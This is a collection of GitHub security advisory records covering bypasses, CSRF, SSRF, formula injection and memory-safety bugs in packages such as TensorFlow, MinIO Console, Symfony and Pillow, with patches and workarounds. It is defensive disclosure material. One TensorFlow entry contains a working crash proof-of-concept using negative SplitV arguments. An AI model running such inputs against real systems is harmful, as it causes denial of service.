{'cwe_ids': ['CWE-863'], 'severity': 'CRITICAL', 'github_reviewed': True, 'github_reviewed_at': '2021-11-22T18:36:47Z', 'nvd_published_at': '2021-11-19T10:15:00Z'}
|
1.4.0
|
GHSA-4999-659w-mq36
|
2021-11-15T20:27:39Z
|
2021-11-15T23:16:49Z
| null |
['CVE-2021-41266']
|
Authentication bypass issue in the Operator Console
|
During an internal security audit, we detected an authentication bypass issue in the Operator Console when an external IDP is enabled. The security issue has been reported internally. We have not observed this exploit in the wild or reported elsewhere in the community at large. All users are advised to upgrade ASAP.
### Impact
All users on release v0.12.2 and before are affected.
### Patches
This issue was fixed by PR https://github.com/minio/console/pull/1217, users should upgrade to latest release.
### Workarounds
Add `automountServiceAccountToken: false` to the operator-console deployment in Kubernetes so no service account token will get mounted inside the pod, then disable the external identity provider authentication by unset the `CONSOLE_IDP_URL`, `CONSOLE_IDP_CLIENT_ID`, `CONSOLE_IDP_SECRET` and `CONSOLE_IDP_CALLBACK` environment variable and instead use the Kubernetes service account token.
### References
#1217 for more information on the fix and how it was fixed.
### For more information
If you have any questions or comments about this advisory:
* Open an issue in [console issues](https://github.com/minio/console/issues)
* Email us at [security@minio.io](mailto:security@minio.io)
|
[{'type': 'CVSS_V3', 'score': 'CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:L/A:L'}]
|
[{'package': {'ecosystem': 'Go', 'name': 'github.com/minio/console'}, 'ranges': [{'type': 'ECOSYSTEM', 'events': [{'introduced': '0'}, {'fixed': '0.12.3'}]}]}]
|
[{'type': 'WEB', 'url': 'https://github.com/minio/console/security/advisories/GHSA-4999-659w-mq36'}, {'type': 'ADVISORY', 'url': 'https://nvd.nist.gov/vuln/detail/CVE-2021-41266'}, {'type': 'WEB', 'url': 'https://github.com/minio/console/pull/1217'}, {'type': 'PACKAGE', 'url': 'https://github.com/minio/console'}]
|
{'cwe_ids': ['CWE-306'], 'severity': 'HIGH', 'github_reviewed': True, 'github_reviewed_at': '2021-11-15T20:27:39Z', 'nvd_published_at': '2021-11-15T21:15:00Z'}
|
1.4.0
|
GHSA-7r94-xv9v-63jw
|
2021-11-08T21:53:17Z
|
2021-11-10T18:44:11Z
| null |
['CVE-2021-41225']
|
A use of uninitialized value vulnerability in Tensorflow
|
### Impact
TensorFlow's Grappler optimizer has a [use of unitialized variable](https://github.com/tensorflow/tensorflow/blob/3457a2b122e50b4d44ceaaed5a663d635e5c22df/tensorflow/core/grappler/optimizers/auto_parallel.cc#L155-L164):
```cc
const NodeDef* dequeue_node;
for (const auto& train_node : train_nodes) {
if (IsDequeueOp(*train_node)) {
dequeue_node = train_node;
break;
}
}
if (dequeue_node) {
...
}
```
If the `train_nodes` vector (obtained from the saved model that gets optimized) does not contain a `Dequeue` node, then `dequeue_node` is left unitialized.
### Patches
We have patched the issue in GitHub commit [68867bf01239d9e1048f98cbad185bf4761bedd3](https://github.com/tensorflow/tensorflow/commit/68867bf01239d9e1048f98cbad185bf4761bedd3).
The fix will be included in TensorFlow 2.7.0. We will also cherrypick this commit on TensorFlow 2.6.1, TensorFlow 2.5.2, and TensorFlow 2.4.4, as these are also affected and still in supported range.
### For more information
Please consult [our security guide](https://github.com/tensorflow/tensorflow/blob/master/SECURITY.md) for more information regarding the security model and how to contact us with issues and questions.
### Attribution
This vulnerability has been reported by Qian Feng from Baidu Security Team.
|
[{'type': 'CVSS_V3', 'score': 'CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:N/I:N/A:H'}]
|
[{'package': {'ecosystem': 'PyPI', 'name': 'tensorflow'}, 'ranges': [{'type': 'ECOSYSTEM', 'events': [{'introduced': '2.6.0'}, {'fixed': '2.6.1'}]}]}, {'package': {'ecosystem': 'PyPI', 'name': 'tensorflow'}, 'ranges': [{'type': 'ECOSYSTEM', 'events': [{'introduced': '2.5.0'}, {'fixed': '2.5.2'}]}]}, {'package': {'ecosystem': 'PyPI', 'name': 'tensorflow'}, 'ranges': [{'type': 'ECOSYSTEM', 'events': [{'introduced': '0'}, {'fixed': '2.4.4'}]}]}, {'package': {'ecosystem': 'PyPI', 'name': 'tensorflow-cpu'}, 'ranges': [{'type': 'ECOSYSTEM', 'events': [{'introduced': '2.6.0'}, {'fixed': '2.6.1'}]}]}, {'package': {'ecosystem': 'PyPI', 'name': 'tensorflow-cpu'}, 'ranges': [{'type': 'ECOSYSTEM', 'events': [{'introduced': '2.5.0'}, {'fixed': '2.5.2'}]}]}, {'package': {'ecosystem': 'PyPI', 'name': 'tensorflow-cpu'}, 'ranges': [{'type': 'ECOSYSTEM', 'events': [{'introduced': '0'}, {'fixed': '2.4.4'}]}]}, {'package': {'ecosystem': 'PyPI', 'name': 'tensorflow-gpu'}, 'ranges': [{'type': 'ECOSYSTEM', 'events': [{'introduced': '2.6.0'}, {'fixed': '2.6.1'}]}]}, {'package': {'ecosystem': 'PyPI', 'name': 'tensorflow-gpu'}, 'ranges': [{'type': 'ECOSYSTEM', 'events': [{'introduced': '2.5.0'}, {'fixed': '2.5.2'}]}]}, {'package': {'ecosystem': 'PyPI', 'name': 'tensorflow-gpu'}, 'ranges': [{'type': 'ECOSYSTEM', 'events': [{'introduced': '0'}, {'fixed': '2.4.4'}]}]}]
|
[{'type': 'WEB', 'url': 'https://github.com/tensorflow/tensorflow/security/advisories/GHSA-7r94-xv9v-63jw'}, {'type': 'ADVISORY', 'url': 'https://nvd.nist.gov/vuln/detail/CVE-2021-41225'}, {'type': 'WEB', 'url': 'https://github.com/tensorflow/tensorflow/commit/68867bf01239d9e1048f98cbad185bf4761bedd3'}, {'type': 'PACKAGE', 'url': 'https://github.com/tensorflow/tensorflow'}]
|
{'cwe_ids': ['CWE-908'], 'severity': 'MODERATE', 'github_reviewed': True, 'github_reviewed_at': '2021-11-08T21:53:17Z', 'nvd_published_at': '2021-11-05T23:15:00Z'}
|
1.4.0
|
GHSA-r496-7hgp-53wf
|
2022-05-04T03:45:56Z
|
2021-11-02T15:42:24Z
| null |
['CVE-2020-36377']
|
Vulnerability in dump function leads to arbitrary code execution via filePath parameters
|
aaptjs is a node wraper for aapt. An issue was discovered in the dump function in shenzhim aaptjs 1.3.1, allows attackers to execute arbitrary code via the filePath parameters.
|
[{'type': 'CVSS_V3', 'score': 'CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H'}]
|
[{'package': {'ecosystem': 'npm', 'name': 'aaptjs'}, 'ranges': [{'type': 'ECOSYSTEM', 'events': [{'introduced': '0'}, {'last_affected': '1.3.1'}]}]}]
|
[{'type': 'ADVISORY', 'url': 'https://nvd.nist.gov/vuln/detail/CVE-2020-36377'}, {'type': 'WEB', 'url': 'https://github.com/shenzhim/aaptjs/issues/2'}, {'type': 'PACKAGE', 'url': 'https://github.com/shenzhim/aaptjs'}]
|
{'cwe_ids': ['CWE-77', 'CWE-78'], 'severity': 'CRITICAL', 'github_reviewed': True, 'github_reviewed_at': '2021-11-01T19:20:42Z', 'nvd_published_at': '2021-10-31T20:15:00Z'}
|
1.4.0
|
GHSA-gp2f-254m-rh32
|
2021-11-08T21:31:39Z
|
2021-11-10T16:51:41Z
| null |
['CVE-2021-41251']
|
Unauthorized access to data in @sap-cloud-sdk/core
|
### Impact
This affects applications on SAP Business Technology Platform that use the SAP Cloud SDK and enabled caching of destinations.
In some cases, when user information was missing, destinations were cached without user information, allowing other users to retrieve the same destination with its permissions.
By default, destination caching is disabled. If it is enabled the maximum lifetime is 5 minutes which limits the attack vector.
### Patches
The problem was fixed by #1769 and #1770. The security for caching has been increased. The changes are released in version 1.52.0.
### Workarounds
Disable destination caching (it is disabled by default).
### References
[destination cache API docs](https://sap.github.io/cloud-sdk/api/1.51.0/modules/sap_cloud_sdk_core#destinationCache)
### For more information
If you have any questions or comments about this advisory:
* Open an issue in https://github.com/SAP/cloud-sdk-js
|
[{'type': 'CVSS_V3', 'score': 'CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:H/I:N/A:N'}]
|
[{'package': {'ecosystem': 'npm', 'name': '@sap-cloud-sdk/core'}, 'ranges': [{'type': 'ECOSYSTEM', 'events': [{'introduced': '0'}, {'fixed': '1.52.0'}]}]}]
|
[{'type': 'WEB', 'url': 'https://github.com/SAP/cloud-sdk-js/security/advisories/GHSA-gp2f-254m-rh32'}, {'type': 'ADVISORY', 'url': 'https://nvd.nist.gov/vuln/detail/CVE-2021-41251'}, {'type': 'WEB', 'url': 'https://github.com/SAP/cloud-sdk-js/pull/1769'}, {'type': 'WEB', 'url': 'https://github.com/SAP/cloud-sdk-js/pull/1770'}, {'type': 'PACKAGE', 'url': 'https://github.com/SAP/cloud-sdk-js'}]
|
{'cwe_ids': ['CWE-200'], 'severity': 'MODERATE', 'github_reviewed': True, 'github_reviewed_at': '2021-11-08T21:31:39Z', 'nvd_published_at': '2021-11-05T23:15:00Z'}
|
1.4.0
|
GHSA-mcxr-fx5f-96qq
|
2021-11-22T18:30:27Z
|
2021-11-23T18:18:35Z
| null |
['CVE-2021-22969']
|
Server-Side Request Forgery in Concrete CMS
|
Concrete CMS (formerly concrete5) versions below 8.5.7 has a SSRF mitigation bypass using DNS Rebind attack giving an attacker the ability to fetch cloud IAAS (ex AWS) IAM keys.To fix this Concrete CMS no longer allows downloads from the local network and specifies the validated IP when downloading rather than relying on DNS.Discoverer.
|
[]
|
[{'package': {'ecosystem': 'Packagist', 'name': 'concrete5/core'}, 'ranges': [{'type': 'ECOSYSTEM', 'events': [{'introduced': '0'}, {'fixed': '8.5.7'}]}]}]
|
[{'type': 'ADVISORY', 'url': 'https://nvd.nist.gov/vuln/detail/CVE-2021-22969'}, {'type': 'WEB', 'url': 'https://hackerone.com/reports/1369312'}, {'type': 'WEB', 'url': 'https://documentation.concretecms.org/developers/introduction/version-history/857-release-notes'}]
|
{'cwe_ids': ['CWE-918'], 'severity': 'MODERATE', 'github_reviewed': True, 'github_reviewed_at': '2021-11-22T18:30:27Z', 'nvd_published_at': '2021-11-19T19:15:00Z'}
|
1.4.0
|
GHSA-xm34-v85h-9pg2
|
2021-11-17T19:57:48Z
|
2021-11-18T20:09:32Z
| null |
['CVE-2021-41274']
|
Authentication Bypass by CSRF Weakness
|
### Impact
CSRF vulnerability that allows user account takeover.
All applications using any version of the frontend component of `solidus_auth_devise` are affected if `protect_from_forgery` method is both:
- Executed whether as:
- A `before_action` callback (the default)
- A `prepend_before_action` (option `prepend: true` given) before the `:load_object` hook in `Spree::UserController` (most likely order to find).
- Configured to use `:null_session` or `:reset_session` strategies (`:null_session` is the default in case the no strategy is given, but `rails --new` generated skeleton use `:exception`).
That means that applications that haven't been configured differently from what it's generated with Rails aren't affected.
### Patches
Users should promptly update to `solidus_auth_devise` version `2.5.4`.
### Workarounds
A couple of options:
- If possible, change your strategy to `:exception`:
```ruby
class ApplicationController < ActionController::Base
protect_from_forgery with: :exception
end
```
- Add the following to `config/application.rb` to at least run the `:exception` strategy on the affected controller:
```ruby
config.after_initialize do
Spree::UsersController.protect_from_forgery with: :exception
end
```
- We've also released new Solidus versions monkey patching `solidus_auth_devise` with the quick fix. Those versions are `v3.1.3`, `v.3.0.3` & `v2.11.12`. See [GHSA-5629-8855-gf4g](https://github.com/solidusio/solidus/security/advisories/GHSA-5629-8855-gf4g) for details.
### References
- [CSRF on the Rails guides](https://guides.rubyonrails.org/security.html#cross-site-request-forgery-csrf)
- [Solidus security](https://solidus.io/security/)
### Thanks
We'd like to thank [vampire000](https://hackerone.com/vampire000) for reporting this issue.
### For more information
If you have any questions or comments about this advisory:
* Open an issue in [solidus_auth_devise](https://github.com/solidusio/solidus_auth_devise/issues) or a discussion in [solidus](https://github.com/solidusio/solidus/discussions)
* Email us at [security@solidus.io](mailto:security@soliidus.io)
* Contact the core team on [Slack](http://slack.solidus.io/)
|
[{'type': 'CVSS_V3', 'score': 'CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:H/I:H/A:N'}]
|
[{'package': {'ecosystem': 'RubyGems', 'name': 'solidus_auth_devise'}, 'ranges': [{'type': 'ECOSYSTEM', 'events': [{'introduced': '1.0.0'}, {'fixed': '2.5.4'}]}]}]
|
[{'type': 'WEB', 'url': 'https://github.com/solidusio/solidus_auth_devise/security/advisories/GHSA-xm34-v85h-9pg2'}, {'type': 'ADVISORY', 'url': 'https://nvd.nist.gov/vuln/detail/CVE-2021-41274'}, {'type': 'WEB', 'url': 'https://github.com/solidusio/solidus_auth_devise/commit/731a6645e90ea9fd228f78ec53c6976c048a0555'}, {'type': 'WEB', 'url': 'https://github.com/rubysec/ruby-advisory-db/blob/master/gems/solidus_auth_devise/CVE-2021-41274.yml'}, {'type': 'PACKAGE', 'url': 'https://github.com/solidusio/solidus_auth_devise'}, {'type': 'WEB', 'url': 'https://github.com/solidusio/solidus_auth_devise/releases/tag/v2.5.4'}]
|
{'cwe_ids': ['CWE-352'], 'severity': 'CRITICAL', 'github_reviewed': True, 'github_reviewed_at': '2021-11-17T19:57:48Z', 'nvd_published_at': '2021-11-17T20:15:00Z'}
|
1.4.0
|
GHSA-cpf4-wx82-gxp6
|
2021-11-08T21:59:15Z
|
2021-11-10T18:48:15Z
| null |
['CVE-2021-41222']
|
Segfault due to negative splits in `SplitV`
|
### Impact
The [implementation](https://github.com/tensorflow/tensorflow/blob/e71b86d47f8bc1816bf54d7bddc4170e47670b97/tensorflow/core/kernels/split_v_op.cc#L49-L205) of `SplitV` can trigger a segfault is an attacker supplies negative arguments:
```python
import tensorflow as tf
tf.raw_ops.SplitV(
value=tf.constant([]),
size_splits=[-1, -2]
,axis=0,
num_split=2)
```
This occurs whenever `size_splits` contains more than one value and at least one value is negative.
### Patches
We have patched the issue in GitHub commit [25d622ffc432acc736b14ca3904177579e733cc6](https://github.com/tensorflow/tensorflow/commit/25d622ffc432acc736b14ca3904177579e733cc6).
The fix will be included in TensorFlow 2.7.0. We will also cherrypick this commit on TensorFlow 2.6.1, TensorFlow 2.5.2, and TensorFlow 2.4.4, as these are also affected and still in supported range.
### For more information
Please consult [our security guide](https://github.com/tensorflow/tensorflow/blob/master/SECURITY.md) for more information regarding the security model and how to contact us with issues and questions.
### Attribution
This vulnerability has been reported by members of the Aivul Team from Qihoo 360.
|
[{'type': 'CVSS_V3', 'score': 'CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:N/I:N/A:H'}]
|
[{'package': {'ecosystem': 'PyPI', 'name': 'tensorflow'}, 'ranges': [{'type': 'ECOSYSTEM', 'events': [{'introduced': '2.6.0'}, {'fixed': '2.6.1'}]}]}, {'package': {'ecosystem': 'PyPI', 'name': 'tensorflow'}, 'ranges': [{'type': 'ECOSYSTEM', 'events': [{'introduced': '2.5.0'}, {'fixed': '2.5.2'}]}]}, {'package': {'ecosystem': 'PyPI', 'name': 'tensorflow'}, 'ranges': [{'type': 'ECOSYSTEM', 'events': [{'introduced': '0'}, {'fixed': '2.4.4'}]}]}, {'package': {'ecosystem': 'PyPI', 'name': 'tensorflow-cpu'}, 'ranges': [{'type': 'ECOSYSTEM', 'events': [{'introduced': '2.6.0'}, {'fixed': '2.6.1'}]}]}, {'package': {'ecosystem': 'PyPI', 'name': 'tensorflow-cpu'}, 'ranges': [{'type': 'ECOSYSTEM', 'events': [{'introduced': '2.5.0'}, {'fixed': '2.5.2'}]}]}, {'package': {'ecosystem': 'PyPI', 'name': 'tensorflow-cpu'}, 'ranges': [{'type': 'ECOSYSTEM', 'events': [{'introduced': '0'}, {'fixed': '2.4.4'}]}]}, {'package': {'ecosystem': 'PyPI', 'name': 'tensorflow-gpu'}, 'ranges': [{'type': 'ECOSYSTEM', 'events': [{'introduced': '2.6.0'}, {'fixed': '2.6.1'}]}]}, {'package': {'ecosystem': 'PyPI', 'name': 'tensorflow-gpu'}, 'ranges': [{'type': 'ECOSYSTEM', 'events': [{'introduced': '2.5.0'}, {'fixed': '2.5.2'}]}]}, {'package': {'ecosystem': 'PyPI', 'name': 'tensorflow-gpu'}, 'ranges': [{'type': 'ECOSYSTEM', 'events': [{'introduced': '0'}, {'fixed': '2.4.4'}]}]}]
|
[{'type': 'WEB', 'url': 'https://github.com/tensorflow/tensorflow/security/advisories/GHSA-cpf4-wx82-gxp6'}, {'type': 'ADVISORY', 'url': 'https://nvd.nist.gov/vuln/detail/CVE-2021-41222'}, {'type': 'WEB', 'url': 'https://github.com/tensorflow/tensorflow/commit/25d622ffc432acc736b14ca3904177579e733cc6'}, {'type': 'PACKAGE', 'url': 'https://github.com/tensorflow/tensorflow'}]
|
{'cwe_ids': ['CWE-682'], 'severity': 'MODERATE', 'github_reviewed': True, 'github_reviewed_at': '2021-11-08T21:59:15Z', 'nvd_published_at': '2021-11-05T23:15:00Z'}
|
1.4.0
|
GHSA-fwf6-rw69-hhj4
|
2021-12-01T14:33:13Z
|
2021-11-30T22:22:16Z
| null |
['CVE-2021-23654']
|
Improper Neutralization of Formula Elements in a CSV File in html-2-csv
|
This affects all versions of package html-to-csv. When there is a formula embedded in a HTML page, it gets accepted without any validation and the same would be pushed while converting it into a CSV file. Through this a malicious actor can embed or generate a malicious link or execute commands via CSV files.
|
[{'type': 'CVSS_V3', 'score': 'CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:L/I:L/A:L'}]
|
[{'package': {'ecosystem': 'PyPI', 'name': 'html-to-csv'}, 'ecosystem_specific': {'affected_functions': ['']}, 'ranges': [{'type': 'ECOSYSTEM', 'events': [{'introduced': '0'}, {'last_affected': '0.1.3'}]}]}]
|
[{'type': 'ADVISORY', 'url': 'https://nvd.nist.gov/vuln/detail/CVE-2021-23654'}, {'type': 'WEB', 'url': 'https://github.com/hanwentao/html2csv/issues/9'}, {'type': 'PACKAGE', 'url': 'https://github.com/hanwentao/html2csv'}, {'type': 'WEB', 'url': 'https://snyk.io/vuln/SNYK-PYTHON-HTMLTOCSV-1582784'}]
|
{'cwe_ids': ['CWE-1236'], 'severity': 'MODERATE', 'github_reviewed': True, 'github_reviewed_at': '2021-11-29T20:28:01Z', 'nvd_published_at': '2021-11-26T20:15:00Z'}
|
1.4.0
|
GHSA-c8cw-2c5j-xff3
|
2021-11-22T19:05:51Z
|
2021-11-23T17:56:30Z
| null |
['CVE-2021-39234']
|
Incorrect Authorization in Apache Ozone
|
In Apache Ozone versions prior to 1.2.0, Authenticated users knowing the ID of an existing block can craft specific request allowing access those blocks, bypassing other security checks like ACL.
|
[{'type': 'CVSS_V3', 'score': 'CVSS:3.1/AV:N/AC:H/PR:L/UI:N/S:U/C:H/I:H/A:N'}]
|
[{'package': {'ecosystem': 'Maven', 'name': 'org.apache.ozone:ozone-main'}, 'ranges': [{'type': 'ECOSYSTEM', 'events': [{'introduced': '0'}, {'fixed': '1.2.0'}]}]}]
|
[{'type': 'ADVISORY', 'url': 'https://nvd.nist.gov/vuln/detail/CVE-2021-39234'}, {'type': 'WEB', 'url': 'https://mail-archives.apache.org/mod_mbox/ozone-dev/202111.mbox/%3C97d65498-7f8c-366f-1bea-5a74b6378f0d%40apache.org%3E'}, {'type': 'WEB', 'url': 'http://www.openwall.com/lists/oss-security/2021/11/19/5'}]
|
{'cwe_ids': ['CWE-863'], 'severity': 'MODERATE', 'github_reviewed': True, 'github_reviewed_at': '2021-11-22T19:05:51Z', 'nvd_published_at': '2021-11-19T10:15:00Z'}
|
1.4.0
|
GHSA-qw36-p97w-vcqr
|
2021-12-01T14:36:09Z
|
2021-11-24T20:05:22Z
| null |
['CVE-2021-41268']
|
Cookie persistence after password changes in symfony/security-bundle
|
Description
-----------
Since the rework of the Remember me cookie in Symfony 5.3, the cookie is not invalidated anymore when the user changes its password.
Attackers can therefore maintain their access to the account even if the password is changed as long as they have had the chance to login once and get a valid remember me cookie.
Resolution
----------
Symfony now makes the password part of the signature by default. In that way, when the password changes then the cookie is not valid anymore.
The patch for this issue is available [here](https://github.com/symfony/symfony/commit/36a808b857cd3240244f4b224452fb1e70dc6dfc) for branch 5.3.
Credits
-------
We would like to thank Thibaut Decherit for reporting the issue and Wouter J for fixing the issue.
|
[{'type': 'CVSS_V3', 'score': 'CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:N/A:N'}]
|
[{'package': {'ecosystem': 'Packagist', 'name': 'symfony/security-bundle'}, 'ranges': [{'type': 'ECOSYSTEM', 'events': [{'introduced': '5.3.0'}, {'fixed': '5.3.12'}]}]}]
|
[{'type': 'WEB', 'url': 'https://github.com/symfony/symfony/security/advisories/GHSA-qw36-p97w-vcqr'}, {'type': 'ADVISORY', 'url': 'https://nvd.nist.gov/vuln/detail/CVE-2021-41268'}, {'type': 'WEB', 'url': 'https://github.com/symfony/symfony/pull/44243'}, {'type': 'WEB', 'url': 'https://github.com/symfony/symfony/commit/36a808b857cd3240244f4b224452fb1e70dc6dfc'}, {'type': 'PACKAGE', 'url': 'https://github.com/symfony/symfony'}, {'type': 'WEB', 'url': 'https://github.com/symfony/symfony/releases/tag/v5.3.12'}]
|
{'cwe_ids': ['CWE-384'], 'severity': 'MODERATE', 'github_reviewed': True, 'github_reviewed_at': '2021-11-24T20:00:03Z', 'nvd_published_at': '2021-11-24T19:15:00Z'}
|
1.4.0
|
GHSA-77vh-xpmg-72qh
|
2021-11-24T19:43:35Z
|
2021-11-18T16:02:41Z
| null |
[]
|
Clarify `mediaType` handling
|
### Impact
In the OCI Image Specification version 1.0.1 and prior, manifest and index documents are not self-describing and documents with a single digest could be interpreted as either a manifest or an index.
### Patches
The Image Specification will be updated to recommend that both manifest and index documents contain a `mediaType` field to identify the type of document.
Release [v1.0.2](https://github.com/opencontainers/image-spec/releases/tag/v1.0.2) includes these updates.
### Workarounds
Software attempting to deserialize an ambiguous document may reject the document if it contains both “manifests” and “layers” fields or “manifests” and “config” fields.
### References
https://github.com/opencontainers/distribution-spec/security/advisories/GHSA-mc8v-mgrf-8f4m
### For more information
If you have any questions or comments about this advisory:
* Open an issue in https://github.com/opencontainers/image-spec
* Email us at [security@opencontainers.org](mailto:security@opencontainers.org)
* https://github.com/opencontainers/image-spec/commits/v1.0.2
|
[{'type': 'CVSS_V3', 'score': 'CVSS:3.1/AV:N/AC:H/PR:L/UI:R/S:C/C:N/I:L/A:N'}]
|
[{'package': {'ecosystem': 'Go', 'name': 'github.com/opencontainers/image-spec'}, 'ranges': [{'type': 'ECOSYSTEM', 'events': [{'introduced': '0'}, {'fixed': '1.0.2'}]}]}]
|
[{'type': 'WEB', 'url': 'https://github.com/opencontainers/distribution-spec/security/advisories/GHSA-mc8v-mgrf-8f4m'}, {'type': 'WEB', 'url': 'https://github.com/opencontainers/image-spec/security/advisories/GHSA-77vh-xpmg-72qh'}, {'type': 'WEB', 'url': 'https://github.com/opencontainers/image-spec/commit/693428a734f5bab1a84bd2f990d92ef1111cd60c'}, {'type': 'PACKAGE', 'url': 'https://github.com/opencontainers/image-spec'}, {'type': 'WEB', 'url': 'https://github.com/opencontainers/image-spec/releases/tag/v1.0.2'}]
|
{'cwe_ids': ['CWE-843'], 'severity': 'LOW', 'github_reviewed': True, 'github_reviewed_at': '2021-11-17T23:13:41Z', 'nvd_published_at': None}
|
1.4.0
|
GHSA-7g47-xxff-9p85
|
2021-10-13T17:28:16Z
|
2021-11-19T20:39:44Z
| null |
['CVE-2021-41868']
|
Remote unauthenticated attackers able to upload files in Onionshare
|
OnionShare 2.3 before 2.4 allows remote unauthenticated attackers to upload files on a non-public node when using the --receive functionality.
|
[{'type': 'CVSS_V3', 'score': 'CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H'}]
|
[{'package': {'ecosystem': 'PyPI', 'name': 'onionshare-cli'}, 'ranges': [{'type': 'ECOSYSTEM', 'events': [{'introduced': '2.3'}, {'fixed': '2.4'}]}]}]
|
[{'type': 'ADVISORY', 'url': 'https://nvd.nist.gov/vuln/detail/CVE-2021-41868'}, {'type': 'WEB', 'url': 'https://github.com/onionshare/onionshare/issues/1396'}, {'type': 'WEB', 'url': 'https://github.com/onionshare/onionshare/pull/1404'}, {'type': 'PACKAGE', 'url': 'https://github.com/onionshare/onionshare'}, {'type': 'WEB', 'url': 'https://www.ihteam.net/advisory/onionshare/'}]
|
{'cwe_ids': [], 'severity': 'CRITICAL', 'github_reviewed': True, 'github_reviewed_at': '2021-10-05T15:16:37Z', 'nvd_published_at': '2021-10-04T14:15:00Z'}
|
1.4.0
|
GHSA-3xv8-3j54-hgrp
|
2023-09-05T09:18:07Z
|
2021-11-03T18:04:53Z
| null |
['CVE-2020-10378']
|
Out-of-bounds read in Pillow
|
In `libImaging/PcxDecode.c` in Pillow before 7.1.0, an out-of-bounds read can occur when reading PCX files where `state->shuffle` is instructed to read beyond `state->buffer`.
|
[{'type': 'CVSS_V3', 'score': 'CVSS:3.1/AV:L/AC:L/PR:N/UI:R/S:U/C:H/I:N/A:N'}]
|
[{'package': {'ecosystem': 'PyPI', 'name': 'Pillow'}, 'ecosystem_specific': {'affected_functions': ['']}, 'ranges': [{'type': 'ECOSYSTEM', 'events': [{'introduced': '0'}, {'fixed': '7.1.0'}]}]}]
|
[{'type': 'ADVISORY', 'url': 'https://nvd.nist.gov/vuln/detail/CVE-2020-10378'}, {'type': 'WEB', 'url': 'https://github.com/python-pillow/Pillow/issues/4750'}, {'type': 'WEB', 'url': 'https://github.com/python-pillow/Pillow/pull/4538'}, {'type': 'WEB', 'url': 'https://github.com/python-pillow/Pillow/commit/6a83e4324738bb0452fbe8074a995b1c73f08de7#diff-9478f2787e3ae9668a15123b165c23ac'}, {'type': 'WEB', 'url': 'https://github.com/pypa/advisory-db/blob/7872b0a91b4d980f749e6d75a81f8cc1af32829f/vulns/pillow/PYSEC-2020-77.yaml'}, {'type': 'PACKAGE', 'url': 'https://github.com/python-pillow/Pillow'}, {'type': 'WEB', 'url': 'https://github.com/python-pillow/Pillow/commits/master/src/libImaging'}, {'type': 'WEB', 'url': 'https://lists.fedoraproject.org/archives/list/package-announce@lists.fedoraproject.org/message/BEBCPE4F2VHTIT6EZA2YZQZLPVDEBJGD/'}, {'type': 'WEB', 'url': 'https://lists.fedoraproject.org/archives/list/package-announce@lists.fedoraproject.org/message/HOKHNWV2VS5GESY7IBD237E7C6T3I427/'}, {'type': 'WEB', 'url': 'https://pillow.readthedocs.io/en/stable/releasenotes/6.2.3.html'}, {'type': 'WEB', 'url': 'https://pillow.readthedocs.io/en/stable/releasenotes/7.1.0.html'}, {'type': 'WEB', 'url': 'https://usn.ubuntu.com/4430-1/'}, {'type': 'WEB', 'url': 'https://usn.ubuntu.com/4430-2/'}]
|
{'cwe_ids': ['CWE-125'], 'severity': 'MODERATE', 'github_reviewed': True, 'github_reviewed_at': '2021-11-03T17:26:02Z', 'nvd_published_at': '2020-06-25T19:15:00Z'}
|
1.4.0
|
GHSA-wmpv-c2jp-j2xg
|
2021-11-15T22:27:38Z
|
2021-11-15T23:28:18Z
| null |
[]
|
ERC1155Supply vulnerability in OpenZeppelin Contracts
|
When ERC1155 tokens are minted, a callback is invoked on the receiver of those tokens, as required by the spec. When including the `ERC1155Supply` extension, total supply is not updated until after the callback, thus during the callback the reported total supply is lower than the real number of tokens in circulation.
### Impact
If a system relies on accurately reported supply, an attacker may be able to mint tokens and invoke that system after receiving the token balance but before the supply is updated.
### Patches
A fix is included in version 4.3.3 of `@openzeppelin/contracts` and `@openzeppelin/contracts-upgradeable`.
### Workarounds
If accurate supply is relevant, do not mint tokens to untrusted receivers.
### Credits
The issue was identified and reported by @ChainSecurityAudits.
### For more information
Read [TotalSupply Inconsistency in ERC1155 NFT Tokens](https://medium.com/chainsecurity/totalsupply-inconsistency-in-erc1155-nft-tokens-8f8e3b29f5aa) by @ChainSecurityAudits for a more detailed breakdown.
If you have any questions or comments about this advisory, email us at security@openzeppelin.com.
|
[]
|
[{'package': {'ecosystem': 'npm', 'name': '@openzeppelin/contracts'}, 'ranges': [{'type': 'ECOSYSTEM', 'events': [{'introduced': '4.2.0'}, {'fixed': '4.3.3'}]}]}, {'package': {'ecosystem': 'npm', 'name': '@openzeppelin/contracts-upgradeable'}, 'ranges': [{'type': 'ECOSYSTEM', 'events': [{'introduced': '4.2.0'}, {'fixed': '4.3.3'}]}]}]
|
[{'type': 'WEB', 'url': 'https://github.com/OpenZeppelin/openzeppelin-contracts/security/advisories/GHSA-wmpv-c2jp-j2xg'}, {'type': 'PACKAGE', 'url': 'https://github.com/OpenZeppelin/openzeppelin-contracts'}]
|
{'cwe_ids': [], 'severity': 'LOW', 'github_reviewed': True, 'github_reviewed_at': '2021-11-15T22:27:38Z', 'nvd_published_at': None}
|
1.4.0
|
GHSA-vf7h-6246-hm43
|
2021-11-18T21:49:46Z
|
2021-11-19T20:18:54Z
| null |
['CVE-2021-39198']
|
The disqualify lead action may be executed without CSRF token check
|
### Summary
The attacker is able to disqualify any Lead with a Cross-Site Request Forgery (CSRF) attack.
### Workarounds
There are no workarounds that address this vulnerability.
|
[{'type': 'CVSS_V3', 'score': 'CVSS:3.1/AV:N/AC:H/PR:N/UI:R/S:U/C:N/I:L/A:L'}]
|
[{'package': {'ecosystem': 'Packagist', 'name': 'oro/crm'}, 'ranges': [{'type': 'ECOSYSTEM', 'events': [{'introduced': '3.1.0'}, {'fixed': '4.1.17'}]}]}, {'package': {'ecosystem': 'Packagist', 'name': 'oro/crm'}, 'ranges': [{'type': 'ECOSYSTEM', 'events': [{'introduced': '4.2.0'}, {'fixed': '4.2.7'}]}]}]
|
[{'type': 'WEB', 'url': 'https://github.com/oroinc/crm/security/advisories/GHSA-vf7h-6246-hm43'}, {'type': 'ADVISORY', 'url': 'https://nvd.nist.gov/vuln/detail/CVE-2021-39198'}, {'type': 'PACKAGE', 'url': 'https://github.com/oroinc/crm'}]
